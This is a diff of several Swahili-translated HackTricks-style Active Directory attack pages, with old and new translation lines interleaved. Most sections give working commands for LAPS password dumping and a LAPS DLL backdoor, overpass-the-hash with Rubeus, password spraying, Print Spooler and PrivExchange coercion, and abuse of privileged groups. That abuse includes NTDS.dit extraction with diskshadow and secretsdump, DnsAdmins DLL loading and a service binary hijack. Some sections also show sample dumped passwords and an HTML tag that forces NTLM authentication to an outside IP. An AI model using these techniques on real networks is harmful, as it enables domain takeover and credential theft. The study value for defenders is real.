**Akaunti** ambayo ime **unganishwa na kompyuta** kwenye kikoa inapata `All Extended Rights` juu ya mwenyeji huo, na haki hii inampa **akaunti** uwezo wa **kusoma nywila.** Kuorodhesha kunaweza kuonyesha akaunti ya mtumiaji ambayo inaweza kusoma nywila ya LAPS kwenye mwenyeji. Hii inaweza kutusaidia **kulenga watumiaji maalum wa AD** ambao wanaweza kusoma nywila za LAPS.
```bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -83,9 +83,9 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Kutoa Nywila za LAPS Kwa Kutumia Crackmapexec**
## **Dumping LAPS Passwords With Crackmapexec**
Ikiwa hakuna ufikiaji wa powershell unaweza kutumia haki hii kwa mbali kupitia LDAP kwa kutumia
Ikiwa hakuna ufikiaji wa powershell unaweza kutumia ruhusa hii kwa mbali kupitia LDAP kwa kutumia
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
@ -99,12 +99,12 @@ Password: 2Z@Ae)7!{9#Cq
python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq
```
## **LAPS Uthibitisho**
## **LAPS Persistence**
### **Tarehe ya Kuisha**
Mara tu ukiwa admin, inawezekana **kupata nywila** na **kuzuia** mashine isifanye **sasisho** la **nywila** kwa **kuweka tarehe ya kuisha katika siku zijazo**.
```powershell
Mara tu unapokuwa admin, inawezekana **kupata nywila** na **kuzuia** mashine isifanye **sasisho** la **nywila** kwa **kueka tarehe ya kuisha katika siku zijazo**.
```bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,11 +113,11 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
> [!WARNING]
> Nenosiri bado litarejeshwa ikiwa **admin** atatumia **`Reset-AdmPwdPassword`** cmdlet; au ikiwa **Usiruhusu muda wa kuisha kwa nenosiri kuwa mrefu zaidi ya inavyohitajika na sera** imewezeshwa katika LAPS GPO.
> Nenosiri bado litarejeshwa ikiwa **admin** atatumia cmdlet **`Reset-AdmPwdPassword`**; au ikiwa **Usiruhusu muda wa kuisha kwa nenosiri kuwa mrefu zaidi ya inavyohitajika na sera** imewezeshwa katika LAPS GPO.
### Backdoor
Msimbo wa asili wa LAPS unaweza kupatikana [hapa](https://github.com/GreyCorbel/admpwd), kwa hivyo inawezekana kuweka backdoor katika msimbo (ndani ya njia ya `Get-AdmPwdPassword` katika `Main/AdmPwd.PS/Main.cs` kwa mfano) ambayo kwa namna fulani itatoa **nenosiri mpya au kuyahifadhi mahali fulani**.
Msimbo wa asili wa LAPS unaweza kupatikana [hapa](https://github.com/GreyCorbel/admpwd), kwa hivyo inawezekana kuweka backdoor katika msimbo (ndani ya njia ya `Get-AdmPwdPassword` katika `Main/AdmPwd.PS/Main.cs` kwa mfano) ambayo kwa namna fulani **itaondoa nenosiri mpya au kuyahifadhi mahali fulani**.
Kisha, tu jenga upya `AdmPwd.PS.dll` mpya na uipakie kwenye mashine katika `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (na ubadilishe muda wa mabadiliko).

View File

@ -5,9 +5,9 @@
## Overpass The Hash/Pass The Key (PTK)
Shambulio la **Overpass The Hash/Pass The Key (PTK)** limetengenezwa kwa mazingira ambapo itifaki ya NTLM ya jadi imezuiliwa, na uthibitishaji wa Kerberos unachukua kipaumbele. Shambulio hili linatumia NTLM hash au funguo za AES za mtumiaji ili kuomba tiketi za Kerberos, kuruhusu ufikiaji usioidhinishwa wa rasilimali ndani ya mtandao.
Shambulio la **Overpass The Hash/Pass The Key (PTK)** limetengenezwa kwa mazingira ambapo itifaki ya NTLM ya jadi imezuiliwa, na uthibitishaji wa Kerberos unachukua kipaumbele. Shambulio hili linatumia hash ya NTLM au funguo za AES za mtumiaji ili kuomba tiketi za Kerberos, kuruhusu ufikiaji usioidhinishwa wa rasilimali ndani ya mtandao.
Ili kutekeleza shambulio hili, hatua ya kwanza ni kupata NTLM hash au nywila ya akaunti ya mtumiaji anayelengwa. Baada ya kupata taarifa hii, Tiketi ya Kutoa Tiketi (TGT) kwa akaunti hiyo inaweza kupatikana, ikiruhusu mshambuliaji kufikia huduma au mashine ambazo mtumiaji ana ruhusa.
Ili kutekeleza shambulio hili, hatua ya kwanza ni kupata hash ya NTLM au nywila ya akaunti ya mtumiaji aliyechaguliwa. Baada ya kupata taarifa hii, Tiketi ya Kutoa Tiketi (TGT) kwa akaunti hiyo inaweza kupatikana, ikiruhusu mshambuliaji kufikia huduma au mashine ambazo mtumiaji ana ruhusa.
Mchakato unaweza kuanzishwa kwa amri zifuatazo:
```bash
@ -30,9 +30,16 @@ Ili kuzingatia usalama wa operesheni na kutumia AES256, amri ifuatayo inaweza ku
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
## Toleo la siri
> [!WARNING]
> Kila kikao cha kuingia kinaweza kuwa na TGT moja tu inayofanya kazi kwa wakati mmoja, hivyo kuwa makini.
1. Unda kikao kipya cha kuingia na **`make_token`** kutoka Cobalt Strike.
2. Kisha, tumia Rubeus kuunda TGT kwa kikao kipya cha kuingia bila kuathiri kile kilichopo.
## Marejeo
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Mara tu unapopata **majina halali ya watumiaji** kadhaa unaweza kujaribu **nywila za kawaida** zaidi (zingatia sera ya nywila ya mazingira) na kila mmoja wa watumiaji ulioyagundua.\
Kwa **kawaida** **urefu** wa **nywila** **wa chini** ni **7**.
Mara tu unapopata **majina halali ya watumiaji** kadhaa unaweza kujaribu **nenosiri za kawaida** zaidi (zingatia sera ya nenosiri ya mazingira) na kila mmoja wa watumiaji waliogunduliwa.\
Kwa **default** urefu wa **chini** wa **nenosiri** ni **7**.
Orodha za majina ya kawaida ya watumiaji zinaweza pia kuwa na manufaa: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Kumbuka kwamba **unaweza kufunga akaunti zingine ikiwa utajaribu nywila kadhaa zisizo sahihi** (kwa kawaida zaidi ya 10).
Kumbuka kwamba unaweza **kufunga baadhi ya akaunti ikiwa utajaribu nenosiri kadhaa zisizo sahihi** (kwa default zaidi ya 10).
### Pata sera ya nywila
### Pata sera ya nenosiri
Ikiwa una baadhi ya akidi za mtumiaji au shell kama mtumiaji wa kikoa unaweza **kupata sera ya nywila kwa**:
Ikiwa una baadhi ya akidi za mtumiaji au shell kama mtumiaji wa kikoa unaweza **pata sera ya nenosiri kwa**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -77,15 +77,15 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Pamoja na [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Inaweza kuunda watumiaji kutoka kwenye kikoa kwa default na itapata sera ya nywila kutoka kwenye kikoa na kupunguza majaribio kulingana na hiyo):
```powershell
- Kwa [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Inaweza kuunda watumiaji kutoka kwenye kikoa kwa default na itapata sera ya nywila kutoka kwenye kikoa na kupunguza majaribio kulingana na hiyo):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- Na [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- Pamoja na [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
## Nguvu Mbaya
## Ukatili wa Nguvu
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
@ -99,7 +99,7 @@ Kuna zana nyingi za p**assword spraying outlook**.
- Na [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Na [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Ili kutumia yoyote ya zana hizi, unahitaji orodha ya watumiaji na nenosiri / orodha ndogo ya nenosiri za kupuliza.
Ili kutumia yoyote ya zana hizi, unahitaji orodha ya watumiaji na nenosiri / orodha ndogo ya nenosiri za kutumia.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

View File

@ -8,8 +8,8 @@
## Spooler Service Abuse
Ikiwa huduma ya _**Print Spooler**_ ime **wezeshwa,** unaweza kutumia baadhi ya akidi za AD zinazojulikana tayari ili **kuomba** kwa seva ya uchapishaji ya Domain Controller **sasisho** kuhusu kazi mpya za uchapishaji na kumwambia tu **aitumie arifa kwa mfumo fulani.**\
Kumbuka wakati printer inatuma arifa kwa mifumo isiyo ya kawaida, inahitaji **kujiuthibitisha dhidi** ya **mfumo** huo. Hivyo, mshambuliaji anaweza kufanya huduma ya _**Print Spooler**_ kujiuthibitisha dhidi ya mfumo wowote, na huduma hiyo itatumia **akaunti ya kompyuta** katika uthibitishaji huu.
Ikiwa huduma ya _**Print Spooler**_ ime **wezeshwa,** unaweza kutumia baadhi ya akidi za AD zinazojulikana tayari ili **kuomba** kwa seva ya uchapishaji ya Domain Controller **sasisho** kuhusu kazi mpya za uchapishaji na kumwambia tu **aitumie arifa kwa mfumo fulani**.\
Kumbuka wakati printer inatuma arifa kwa mifumo isiyo ya kawaida, inahitaji **kujiuthibitisha dhidi ya** hiyo **sistema**. Hivyo, mshambuliaji anaweza kufanya huduma ya _**Print Spooler**_ kujiuthibitisha dhidi ya mfumo wowote, na huduma hiyo itatumia **akaunti ya kompyuta** katika uthibitishaji huu.
### Finding Windows Servers on the domain
@ -17,7 +17,7 @@ Kwa kutumia PowerShell, pata orodha ya masanduku ya Windows. Seva mara nyingi ni
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### Kupata huduma za Spooler zinazot Listening
### Kupata huduma za Spooler zinazosikiliza
Kwa kutumia toleo lililobadilishwa kidogo la @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), angalia kama Huduma ya Spooler inasikiliza:
```bash
@ -28,7 +28,7 @@ Unaweza pia kutumia rpcdump.py kwenye Linux na kutafuta Protokali ya MS-RPRN
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### Omba huduma kuthibitisha dhidi ya mwenyeji yeyote
### Omba huduma ithibitishe dhidi ya mwenyeji yeyote
Unaweza kukusanya [**SpoolSample kutoka hapa**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
```bash
@ -39,9 +39,9 @@ au tumia [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilver
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Kuunganisha na Delegation Isiyo na Kikomo
### Kuunganisha na Uwakilishi Usio na Kikomo
Ikiwa mshambuliaji tayari ameathiri kompyuta yenye [Unconstrained Delegation](unconstrained-delegation.md), mshambuliaji anaweza **kufanya printer ithibitishe dhidi ya kompyuta hii**. Kwa sababu ya delegation isiyo na kikomo, **TGT** ya **akaunti ya kompyuta ya printer** itakuwa **imehifadhiwa katika** **kumbukumbu** ya kompyuta yenye delegation isiyo na kikomo. Kwa kuwa mshambuliaji tayari ameathiri mwenyeji huyu, ataweza **kuchukua tiketi hii** na kuitumia vibaya ([Pass the Ticket](pass-the-ticket.md)).
Ikiwa mshambuliaji tayari ameathiri kompyuta yenye [Uwakilishi Usio na Kikomo](unconstrained-delegation.md), mshambuliaji anaweza **kufanya printer ithibitishwe dhidi ya kompyuta hii**. Kwa sababu ya uwakilishi usio na kikomo, **TGT** ya **akaunti ya kompyuta ya printer** itakuwa **imehifadhiwa katika** **kumbukumbu** ya kompyuta yenye uwakilishi usio na kikomo. Kwa kuwa mshambuliaji tayari ameathiri mwenyeji huyu, ataweza **kurejesha tiketi hii** na kuitumia vibaya ([Pass the Ticket](pass-the-ticket.md)).
## RCP Kulazimisha uthibitisho
@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
Shambulio la `PrivExchange` ni matokeo ya kasoro iliyopatikana katika **kipengele cha `PushSubscription` cha Exchange Server**. Kipengele hiki kinaruhusu server ya Exchange kulazimishwa na mtumiaji yeyote wa kikoa mwenye sanduku la barua kuthibitisha kwa mwenyeji wowote aliyepewa na mteja kupitia HTTP.
Shambulio la `PrivExchange` ni matokeo ya kasoro iliyopatikana katika **kipengele cha `PushSubscription` cha Exchange Server**. Kipengele hiki kinaruhusu server ya Exchange kulazimishwa na mtumiaji yeyote wa kikoa mwenye sanduku la barua kuthibitisha kwa mwenyeji wowote uliopewa na mteja kupitia HTTP.
Kwa kawaida, **huduma ya Exchange inafanya kazi kama SYSTEM** na inapewa mamlaka kupita kiasi (hasa, ina **WriteDacl privileges kwenye kikoa kabla ya Sasisho la Jumla la 2019**). Kasoro hii inaweza kutumika kuweza **kupeleka taarifa kwa LDAP na kisha kutoa hifadhidata ya NTDS ya kikoa**. Katika hali ambapo kupeleka kwa LDAP haiwezekani, kasoro hii bado inaweza kutumika kupeleka na kuthibitisha kwa wenyeji wengine ndani ya kikoa. Ufanisi wa shambulio hili unatoa ufikiaji wa haraka kwa Msimamizi wa Kikoa kwa akaunti yoyote ya mtumiaji wa kikoa iliyoidhinishwa.
Kwa kawaida, **huduma ya Exchange inafanya kazi kama SYSTEM** na inapewa mamlaka kupita kiasi (hasa, ina **mamlaka ya WriteDacl kwenye kikoa kabla ya Sasisho la Jumla la 2019**). Kasoro hii inaweza kutumika kuboresha **kuhamasisha taarifa kwa LDAP na kisha kutoa hifadhidata ya NTDS ya kikoa**. Katika hali ambapo kuhamasisha kwa LDAP haiwezekani, kasoro hii bado inaweza kutumika kuhamasisha na kuthibitisha kwa wenyeji wengine ndani ya kikoa. Ufanisi wa shambulio hili unatoa ufikiaji wa haraka kwa Msimamizi wa Kikoa na akaunti yoyote ya mtumiaji wa kikoa iliyoidhinishwa.
## Ndani ya Windows
@ -102,9 +102,15 @@ Ikiwa unaweza kufanya shambulio la MitM kwa kompyuta na kuingiza HTML kwenye uku
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## Cracking NTLMv1
## Njia nyingine za kulazimisha na kudanganya uthibitishaji wa NTLM
Ikiwa unaweza kukamata [NTLMv1 challenges soma hapa jinsi ya kuzivunja](../ntlm/index.html#ntlmv1-attack).\
_Kumbuka kwamba ili kuvunja NTLMv1 unahitaji kuweka changamoto ya Responder kuwa "1122334455667788"_
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Kufungua NTLMv1
Ikiwa unaweza kukamata [changamoto za NTLMv1 soma hapa jinsi ya kuzifungua](../ntlm/index.html#ntlmv1-attack).\
_Kumbuka kwamba ili kufungua NTLMv1 unahitaji kuweka changamoto ya Responder kuwa "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# Vikundi vya Kipekee
# Privileged Groups
{{#include ../../banners/hacktricks-training.md}}
## Vikundi Vinavyojulikana vyenye mamlaka ya usimamizi
## Well Known groups with administration privileges
- **Wasimamizi**
- **Wasimamizi wa Kikoa**
- **Wasimamizi wa Biashara**
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## Opereta wa Akaunti
## Account Operators
Kikundi hiki kina uwezo wa kuunda akaunti na vikundi ambavyo si wasimamizi kwenye kikoa. Aidha, kinaruhusu kuingia kwa ndani kwenye Kituo cha Kikoa (DC).
Kikundi hiki kina uwezo wa kuunda akaunti na vikundi ambavyo si wasimamizi kwenye kikoa. Aidha, kinaruhusu kuingia kwa ndani kwenye Domain Controller (DC).
Ili kubaini wanachama wa kikundi hiki, amri ifuatayo inatekelezwa:
```powershell
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
Kuongeza watumiaji wapya kunaruhusiwa, pamoja na kuingia kwa ndani kwenye DC01.
@ -25,12 +25,12 @@ Orodha ya Udhibiti wa Ufikiaji (ACL) ya kundi la **AdminSDHolder** ni muhimu kwa
Mshambuliaji anaweza kutumia hili kwa kubadilisha ACL ya kundi la **AdminSDHolder**, akitoa ruhusa kamili kwa mtumiaji wa kawaida. Hii itampa mtumiaji huyo udhibiti kamili juu ya vikundi vyote vilivyolindwa. Ikiwa ruhusa za mtumiaji huyu zitabadilishwa au kuondolewa, zitarudishwa kiotomatiki ndani ya saa moja kutokana na muundo wa mfumo.
Amri za kupitia wanachama na kubadilisha ruhusa ni:
```powershell
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
Inapatikana skripti ya kuharakisha mchakato wa urejeleaji: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Inapatikana skripti ili kuharakisha mchakato wa urejeleaji: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Kwa maelezo zaidi, tembelea [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
@ -40,13 +40,13 @@ Uanachama katika kundi hili unaruhusu kusoma vitu vilivyofutwa vya Active Direct
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### Ufikiaji wa Kituo cha Kikoa
### Domain Controller Access
Ufikiaji wa faili kwenye DC umewekwa mipaka isipokuwa mtumiaji ni sehemu ya kundi la `Server Operators`, ambalo hubadilisha kiwango cha ufikiaji.
Upatikanaji wa faili kwenye DC umewekwa mipaka isipokuwa mtumiaji ni sehemu ya kundi la `Server Operators`, ambalo hubadilisha kiwango cha upatikanaji.
### Kuinua Haki
### Privilege Escalation
Kwa kutumia `PsService` au `sc` kutoka Sysinternals, mtu anaweza kukagua na kubadilisha ruhusa za huduma. Kundi la `Server Operators`, kwa mfano, lina udhibiti kamili juu ya huduma fulani, linalowezesha utekelezaji wa amri zisizo na mipaka na kuinua haki:
Kwa kutumia `PsService` au `sc` kutoka Sysinternals, mtu anaweza kuchunguza na kubadilisha ruhusa za huduma. Kundi la `Server Operators`, kwa mfano, lina udhibiti kamili juu ya huduma fulani, kuruhusu utekelezaji wa amri za kiholela na kupandisha hadhi:
```cmd
C:\> .\PsService.exe security AppReadiness
```
@ -54,10 +54,10 @@ Amri hii inaonyesha kwamba `Server Operators` wana ufikiaji kamili, wakiruhusu k
## Backup Operators
Uanachama katika kundi la `Backup Operators` unatoa ufikiaji wa mfumo wa faili wa `DC01` kutokana na haki za `SeBackup` na `SeRestore`. Haki hizi zinaruhusu kupita kwenye folda, kuorodhesha, na uwezo wa kunakili faili, hata bila ruhusa maalum, kwa kutumia bendera ya `FILE_FLAG_BACKUP_SEMANTICS`. Kutumia skripti maalum ni muhimu kwa mchakato huu.
Uanachama katika kundi la `Backup Operators` unatoa ufikiaji wa mfumo wa faili wa `DC01` kutokana na haki za `SeBackup` na `SeRestore`. Haki hizi zinaruhusu kupita kwenye folda, kuorodhesha, na uwezo wa kunakili faili, hata bila ruhusa maalum, kwa kutumia bendera ya `FILE_FLAG_BACKUP_SEMANTICS`. Kutumia scripts maalum ni muhimu kwa mchakato huu.
Ili kuorodhesha wanachama wa kundi, tekeleza:
```powershell
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### Local Attack
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
3. Pata na nakili faili kutoka kwa saraka zilizozuiliwa, kwa mfano:
3. Pata na nakili faili kutoka kwa saraka zilizo na vizuizi, kwa mfano:
```bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
```
### AD Attack
Upatikanaji wa moja kwa moja wa mfumo wa faili wa Kituo cha Kikoa unaruhusu wizi wa hifadhidata ya `NTDS.dit`, ambayo ina hash zote za NTLM za watumiaji na kompyuta za kikoa.
Upatikanaji wa moja kwa moja wa mfumo wa faili wa Domain Controller unaruhusu wizi wa hifadhidata ya `NTDS.dit`, ambayo ina hash zote za NTLM za watumiaji na kompyuta za eneo.
#### Using diskshadow.exe
1. Tengeneza nakala ya kivuli ya diski ya `C`:
1. Create a shadow copy of the `C` drive:
```cmd
diskshadow.exe
set verbose on
@ -102,7 +102,7 @@ exit
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
Vinginevyo, tumia `robocopy` kwa ajili ya nakala za faili:
Mbali na hayo, tumia `robocopy` kwa ajili ya nakala za faili:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
@ -117,7 +117,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
#### Kutumia wbadmin.exe
1. Weka mfumo wa faili wa NTFS kwa ajili ya seva ya SMB kwenye mashine ya mshambuliaji na uhifadhi akiba ya akidi za SMB kwenye mashine lengwa.
1. Sanidi mfumo wa faili wa NTFS kwa seva ya SMB kwenye mashine ya mshambuliaji na uhifadhi akiba ya akreditivu za SMB kwenye mashine lengwa.
2. Tumia `wbadmin.exe` kwa ajili ya akiba ya mfumo na uchimbaji wa `NTDS.dit`:
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
@ -130,16 +130,16 @@ Kwa maonyesho ya vitendo, angalia [DEMO VIDEO WITH IPPSEC](https://www.youtube.c
## DnsAdmins
Wajumbe wa kundi la **DnsAdmins** wanaweza kutumia mamlaka yao kupakia DLL isiyo na mipaka yenye mamlaka ya SYSTEM kwenye seva ya DNS, mara nyingi inayoendeshwa kwenye Wasimamizi wa Kikoa. Uwezo huu unaruhusu uwezekano mkubwa wa unyakuzi.
Wajumbe wa kundi la **DnsAdmins** wanaweza kutumia mamlaka yao kupakia DLL isiyo na mipaka kwa haki za SYSTEM kwenye seva ya DNS, mara nyingi inayoendeshwa kwenye Wasimamizi wa Kikoa. Uwezo huu unaruhusu uwezekano mkubwa wa unyakuzi.
Ili kuorodhesha wajumbe wa kundi la DnsAdmins, tumia:
```powershell
Ili orodhesha wajumbe wa kundi la DnsAdmins, tumia:
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Teua DLL isiyokuwa na mipango
### Teua DLL isiyokuwa na mipaka
Wajumbe wanaweza kufanya seva ya DNS kupakia DLL isiyokuwa na mipango (iwe kwa ndani au kutoka kwa sehemu ya mbali) kwa kutumia amri kama:
```powershell
Wajumbe wanaweza kufanya seva ya DNS kupakia DLL isiyokuwa na mipaka (iwe kwa ndani au kutoka kwa sehemu ya mbali) kwa kutumia amri kama:
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@ -173,9 +173,9 @@ Pia inawezekana kutumia mimilib.dll kwa ajili ya utekelezaji wa amri, kuibadilis
DnsAdmins wanaweza kubadilisha rekodi za DNS ili kufanya shambulio la Man-in-the-Middle (MitM) kwa kuunda rekodi ya WPAD baada ya kuzima orodha ya kuzuia maswali ya kimataifa. Zana kama Responder au Inveigh zinaweza kutumika kwa ajili ya kudanganya na kukamata trafiki ya mtandao.
### Wasomaji wa Kumbukumbu za Matukio
### Wasilishi wa Kumbukumbu za Matukio
Wajumbe wanaweza kufikia kumbukumbu za matukio, huenda wakapata taarifa nyeti kama nywila za maandiko au maelezo ya utekelezaji wa amri:
```powershell
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
@ -183,17 +183,17 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
## Exchange Windows Permissions
Kikundi hiki kinaweza kubadilisha DACLs kwenye kituo cha kikoa, huenda kikatoa ruhusa za DCSync. Mbinu za kupandisha hadhi zinazotumia kikundi hiki zimeelezewa katika repo ya Exchange-AD-Privesc ya GitHub.
```powershell
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Wataalam wa Hyper-V
Wataalam wa Hyper-V wana ufikiaji kamili wa Hyper-V, ambao unaweza kutumiwa kupata udhibiti wa Wataalam wa Kikoa wa virtualized. Hii inajumuisha kunakili DCs za moja kwa moja na kutoa NTLM hashes kutoka kwa faili ya NTDS.dit.
Wataalam wa Hyper-V wana ufikiaji kamili wa Hyper-V, ambayo inaweza kutumika kuteka udhibiti wa Wasimamizi wa Kikoa wa virtual. Hii inajumuisha kunakili DCs za moja kwa moja na kutoa NTLM hashes kutoka kwa faili ya NTDS.dit.
### Mfano wa Kutumia
Huduma ya Matengenezo ya Mozilla ya Firefox inaweza kutumiwa na Wataalam wa Hyper-V kutekeleza amri kama SYSTEM. Hii inahusisha kuunda kiungo kigumu kwa faili ya SYSTEM iliyolindwa na kuibadilisha na executable mbaya:
Huduma ya Matengenezo ya Mozilla ya Firefox inaweza kutumika na Wataalam wa Hyper-V kutekeleza amri kama SYSTEM. Hii inahusisha kuunda kiungo kigumu kwa faili ya SYSTEM iliyo na ulinzi na kuibadilisha na executable mbaya:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
@ -209,10 +209,10 @@ Katika mazingira ambapo **Microsoft Exchange** imewekwa, kundi maalum linalojuli
#### Opereta wa Print
Wajumbe wa kundi la **Opereta wa Print** wanapewa haki kadhaa, ikiwa ni pamoja na **`SeLoadDriverPrivilege`**, ambayo inawaruhusu **kuingia kwa ndani kwenye Kidhibiti cha Kikoa**, kuifunga, na kusimamia printa. Ili kutekeleza haki hizi, hasa ikiwa **`SeLoadDriverPrivilege`** haionekani chini ya muktadha usio na kiwango, kupita Udhibiti wa Akaunti ya Mtumiaji (UAC) ni muhimu.
Wajumbe wa kundi la **Opereta wa Print** wanapewa haki kadhaa, ikiwa ni pamoja na **`SeLoadDriverPrivilege`**, ambayo inawaruhusu **kuingia kwa ndani kwenye Kidhibiti cha Kikoa**, kuifunga, na kusimamia printa. Ili kutumia haki hizi, hasa ikiwa **`SeLoadDriverPrivilege`** haionekani chini ya muktadha usio na hadhi, kupita Udhibiti wa Akaunti ya Mtumiaji (UAC) ni muhimu.
Ili kuorodhesha wajumbe wa kundi hili, amri ifuatayo ya PowerShell inatumika:
```powershell
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
Kwa mbinu za kina za unyakuzi zinazohusiana na **`SeLoadDriverPrivilege`**, mtu anapaswa kutafuta rasilimali maalum za usalama.
@ -220,7 +220,7 @@ Kwa mbinu za kina za unyakuzi zinazohusiana na **`SeLoadDriverPrivilege`**, mtu
#### Watumiaji wa Desktop ya Kijijini
Wajumbe wa kundi hili wanapewa ufikiaji wa PCs kupitia Protokali ya Desktop ya Kijijini (RDP). Ili kuhesabu wajumbe hawa, amri za PowerShell zinapatikana:
```powershell
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
@ -228,17 +228,17 @@ Maelezo zaidi kuhusu kutumia RDP yanaweza kupatikana katika rasilimali maalum za
#### Watumiaji wa Usimamizi wa Kijijini
Wajumbe wanaweza kufikia PCs kupitia **Windows Remote Management (WinRM)**. Uhesabuji wa wajumbe hawa unafanywa kupitia:
```powershell
Wajumbe wanaweza kufikia PCs kupitia **Windows Remote Management (WinRM)**. Uhesabu wa wajumbe hawa unafanywa kupitia:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
Kwa mbinu za unyakuzi zinazohusiana na **WinRM**, nyaraka maalum zinapaswa kutumika.
#### Watoa Huduma za Seva
#### Watoa Huduma wa Seva
Kikundi hiki kina ruhusa za kufanya usanidi mbalimbali kwenye Wajibu wa Kikoa, ikiwa ni pamoja na ruhusa za kuhifadhi na kurejesha, kubadilisha muda wa mfumo, na kuzima mfumo. Ili kuorodhesha wanachama, amri iliyotolewa ni:
```powershell
